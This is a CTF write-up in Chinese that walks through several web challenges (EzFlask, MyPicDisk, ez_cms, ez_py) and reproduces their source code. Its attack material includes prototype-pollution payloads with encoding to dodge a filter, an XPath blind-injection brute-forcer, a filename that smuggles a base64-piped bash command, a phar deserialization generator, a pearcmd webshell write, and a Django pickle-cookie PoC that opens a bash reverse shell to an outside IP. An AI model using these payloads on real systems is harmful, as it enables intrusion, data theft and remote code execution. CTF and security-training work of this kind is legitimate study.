EzFlask python原型链污染
提供源码 开始审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport jsonapp = Flask(__name__) app.secret_key = str (uuid.uuid4()) def check (data ): for i in black_list: if i in data: return False return True def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class user (): def __init__ (self ): self.username = "" self.password = "" pass def check (self, data ): if self.username == data['username' ] and self.password == data['password' ]: return True return False Users = [] @app.route('/register' ,methods=['POST' ] ) def register (): if request.data: try : if not check(request.data): return "Register Failed" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Register Failed" User = user() merge(data, User) Users.append(User) except Exception: return "Register Failed" return "Register Success" else : return "Register Failed" @app.route('/login' ,methods=['POST' ] ) def login (): if request.data: try : data = json.loads(request.data) if "username" not in data or "password" not in data: return "Login Failed" for user in Users: if user.check(data): session["username" ] = data["username" ] return "Login Success" except Exception: return "Login Failed" return "Login Failed" @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read() if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5010 )
重点是这里 访问根目录的时候会读取我们的内置方法 (__file__
)
这里的话我们就可以通过污染这个内置属性 来指定我们想要读取的文件
就是在/register
这个路由下 传入我们恶意构造的json
语句
(这里有疑问的也可以去看看文章开头给的那篇文章)
但是直接用文章给的payload
是打不了的 因为有fuzz 但是因为这个python
的paylaod
和ssti
差不多 所以可以使用编码来进行绕过
payload
1 {"username" :"1" ,"password" :"1" ,"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" :{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" :{"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f" :"/proc/self/cgroup" }}}
然后访问根目录
这是个非预期解
其实看了文章开头给的文章的话 还可以污染另一个内置方法来直接读取文件
payload
1 2 3 4 {"__init\u005f_" :{"__globals__" :{"app" :{"_static_folder" :"/" }}}, "username" :1 ,"password" :1 }
就是通过污染_static_folder
这个属性 来将当前目录设为根目录
然后就可以直接进行目录穿越了
然后直接开始访问
都是可以直接访问的
这次比赛好几道题都可以这样来解 就是通过读取这个路径 来看docker的启动的sh文件内容 从而查到flag位置
就是存在两种可以污染的内置属性(可能还有其他的 但是我还不知道 )
因为console
开了 预期解是因为污染__file__
然后通过读取文件来算pin 然后再到控制台了读取文件
(这里就不跟了)
MyPicDisk
万能密码登录 然后看到隐藏文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 <?php session_start ();error_reporting (0 );class FILE { public $filename ; public $lasttime ; public $size ; public function __construct ($filename ) { if (preg_match ("/\//i" , $filename )){ throw new Error ("hacker!" ); } $num = substr_count ($filename , "." ); if ($num != 1 ){ throw new Error ("hacker!" ); } if (!is_file ($filename )){ throw new Error ("???" ); } $this ->filename = $filename ; $this ->size = filesize ($filename ); $this ->lasttime = filemtime ($filename ); } public function remove ( ) { unlink ($this ->filename); } public function show ( ) { echo "Filename: " . $this ->filename. " Last Modified Time: " .$this ->lasttime. " Filesize: " .$this ->size."<br>" ; } public function __destruct ( ) { system ("ls -all " .$this ->filename); } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8" > <title>MyPicDisk</title> </head> <body> <?php if (!isset ($_SESSION ['user' ])){ echo ' <form method="POST"> username:<input type="text" name="username"></p> password:<input type="password" name="password"></p> <input type="submit" value="登录" name="submit"></p> </form> ' ; $xml = simplexml_load_file ('/tmp/secret.xml' ); if ($_POST ['submit' ]){ $username =$_POST ['username' ]; $password =md5 ($_POST ['password' ]); $x_query ="/accounts/user[username='{$username} ' and password='{$password} ']" ; $result = $xml ->xpath ($x_query ); if (count ($result )==0 ){ echo '登录失败' ; }else { $_SESSION ['user' ] = $username ; echo "<script>alert('登录成功!');location.href='/index.php';</script>" ; } } } else { if ($_SESSION ['user' ] !== 'admin' ) { echo "<script>alert('you are not admin!!!!!');</script>" ; unset ($_SESSION ['user' ]); echo "<script>location.href='/index.php';</script>" ; } echo "<!-- /y0u_cant_find_1t.zip -->" ; if (!$_GET ['file' ]) { foreach (scandir ("." ) as $filename ) { if (preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) { echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>" ; } } echo ' <form action="index.php" method="post" enctype="multipart/form-data"> 选择图片:<input type="file" name="file" id=""> <input type="submit" value="上传"></form> ' ; if ($_FILES ['file' ]) { $filename = $_FILES ['file' ]['name' ]; if (!preg_match ("/.(jpg|jpeg|gif|png|bmp)$/i" , $filename )) { die ("hacker!" ); } if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $filename )) { echo "<script>alert('图片上传成功!');location.href='/index.php';</script>" ; } else { die ('failed' ); } } } else { $filename = $_GET ['file' ]; if ($_GET ['todo' ] === "md5" ){ echo md5_file ($filename ); } else { $file = new FILE ($filename ); if ($_GET ['todo' ] !== "remove" && $_GET ['todo' ] !== "show" ) { echo "<img src='../" . $filename . "'><br>" ; echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>" ; echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>" ; } else if ($_GET ['todo' ] === "remove" ) { $file ->remove (); echo "<script>alert('图片已删除!');location.href='/index.php';</script>" ; } else if ($_GET ['todo' ] === "show" ) { $file ->show (); } } } } ?> </body> </html>
这里还是有两种解法
审计了一下代码
得出解题思路
就是先进行登录 然后传文件
主要是得进到这个里面 然后就会实例化FILE
这个类
这里的时候就会触发phar反序列化了
另一个拼接命令的方法如下
就是通过恶意构造文件名 来通过最后的命令执行
通过审计代码发现 其实登不登陆成功对做题影响都不大(不爆破出密码的话可以强制文件上传 都一样的 )
这两个判断登录成功与否的方法并不会直接把代码给阻断掉 echo
完后还会继续执行后面的代码
这里其实有个xml盲注 的考点可以学习学习
这里可以使用xml盲注 来注出密码的 (xpath注入 ) ——> 目的不只是为了做题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import requestsimport timeurl ='http://1faab4d0-7d84-46a1-b6fb-5dc991bc7f72.node4.buuoj.cn:81/index.php' strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' flag ='' for i in range (1 ,100 ): for j in strs: payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='" .format (i,j) data={ "username" :payload_username, "password" :123 , "submit" :"1" } print (payload_username) r = requests.post(url=url,data=data) time.sleep(0.1 ) if "登录成功" in r.text: flag+=j print (flag) break if "登录失败" in r.text: break print (flag)
然后就可以把密码给爆破出来了
system命令拼接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /index.php HTTP/1.1 Host: a9d211a4-8dbb-4641-a4e2-b2b64e604908.node4.buuoj.cn:81 Content-Length: 210 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://a9d211a4-8dbb-4641-a4e2-b2b64e604908.node4.buuoj.cn:81 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5zDlxzonrJYj4N0m User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://a9d211a4-8dbb-4641-a4e2-b2b64e604908.node4.buuoj.cn:81/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=4ca196683169f8034a864930f1f86e84 Connection: close ------WebKitFormBoundary5zDlxzonrJYj4N0m Content-Disposition: form-data; name="file"; filename=";echo bHMgLwo|base64 -d|bash;ajpg.jpg" Content-Type: image/png ------WebKitFormBoundary5zDlxzonrJYj4N0m--
上传成功后
通过get
传参 ?file=上传的文件名字
成功拿到flag名字 之后修改这个文件名就能拿到flag了
phar文件上传 先生成一个phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class FILE { public $filename ; public $lasttime ; public $size ; public function __construct ($filename ) { $this ->filename = $filename ; } } $a = new FILE ("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd" );$phartest =new phar ('phartest.phar' ,0 );$phartest ->startBuffering ();$phartest ->setMetadata ($a );$phartest ->setStub ("<?php __HALT_COMPILER();?>" );$phartest ->addFromString ("test.txt" ,"test" );$phartest ->stopBuffering ();
然后上传图片 (修改后缀上传 )
这里的话是md5_file
来触发的
如果不填todo=md5
的话 是不能触发的
(我也不知道为啥。。。。。。。。 )
按道理来说的话 在构造函数这里的时候已经触发这个phar
了
解决了这个问题了
原因就是因为传进来的值会有/
然后就会进入正则 抛出异常
还是自己蠢了 tmd
ez_cms 这题真狗
但是尝试pearcmd 没写入成功(当时pearcmd.php
位置错了 没发现)
然后尝试sql写入半天 还是没成功
最后又返回来用pearcmd
写入才成功 (发现了位置不对后才成功)
Y4—熊海CMS代码审计
看这篇文章就行了
就是这里
如果访问默认的pearcmd.php
路径的话 这个题目是访问不到的
问下gpt
之后 发现了/usr/share/php
这个位置 尝试之后发现成功了
paylaod
1 /admin/index.php?+config-create+/&r=../../../../../../../../../usr/share/php/pearcmd&/<?= eval ($_POST [1 ]);?> +/tmp/1 .php
然后进行文件包含
成功写入
然后直接RCE就行了
ez_py 这道题是参考这个 hackergame2019 出的题
这题考察得是django
的RCE
拿到源码之后
主要看里面的settings.py
这个文件
这里的话提供了SECRET_KEY
并且对session
是进行Pickle
反序列化解析的
通过这里的话我们就很清晰能得知可以通过伪造session
来进行反序列化的
并且在其官方文档里也提到了这个问题
https://docs.djangoproject.com/en/2.2/topics/http/sessions/#using-cookie-based-sessions
然后我们就去搜索这几个关键字 得到一篇文章 并且是有poc的
题目给我们的附件中 可以看到django
的版本
其实默认采用的是json
的序列化 但是为了出题 作者将其改为了pickle
序列化
本来实际上是这样的 但是并不影响我们自己修改成Pickle
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import urllib3SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn' salt = "django.contrib.sessions.backends.signed_cookies" import django.core.signingimport pickleclass PickleSerializer (object ): """ Simple wrapper around pickle to be used in signing.dumps and signing.loads. """ def dumps (self, obj ): return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL) def loads (self, data ): return pickle.loads(data) import subprocessimport base64class Command (object ): def __reduce__ (self ): return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/101.42.39.110/3389 <&1"' ,),-1 ,None ,None ,None ,None ,None ,False , True )) out_cookie= django.core.signing.dumps( Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer) print (out_cookie)
这里的话是先进行登录 然后将cookie
修改为我们构造的 然后访问auth
路由就行了
但是我这里没弹成功 不知道是payload
的问题还是我的操作问题
ez_timing 这道题考察的是http2
确实符合题目说的一种很新的方式
这里的话是参考github上这个出的题目 几乎一模一样
http2
这个wp中也写了这个题目的wp
好像这个题目的地址关了 所以我就没做了